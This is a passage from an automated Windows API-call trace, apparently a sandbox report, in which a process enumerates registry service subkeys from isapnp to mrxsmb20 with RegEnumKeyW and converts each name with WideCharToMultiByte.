lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0225.069] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0225.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0225.069] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0225.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0225.069] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0225.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0225.069] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0225.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0225.069] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0225.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0225.070] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0225.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0225.070] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0225.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0225.070] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0225.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0225.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0225.070] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0225.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0225.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f1ad8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0225.070] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0225.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0225.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0225.070] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0225.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0225.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0225.071] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0225.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0225.071] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0225.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0225.071] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0225.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0225.071] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0225.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0225.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0225.071] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0225.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0225.071] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0225.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0225.072] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0225.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0225.072] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0225.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0225.072] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0225.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0225.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0225.072] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0225.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0225.072] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0225.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0225.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0225.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0225.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0225.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0225.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1bf8, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0225.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0225.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0225.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0225.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0225.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0225.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0225.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0225.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0225.073] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0225.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0225.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0225.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0225.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0225.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0225.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0225.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0225.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f1ad8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0225.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0225.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0225.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0225.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0225.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0225.074] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0225.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0225.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0225.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0225.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0225.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0225.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0225.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0225.075] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0225.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1bf8, 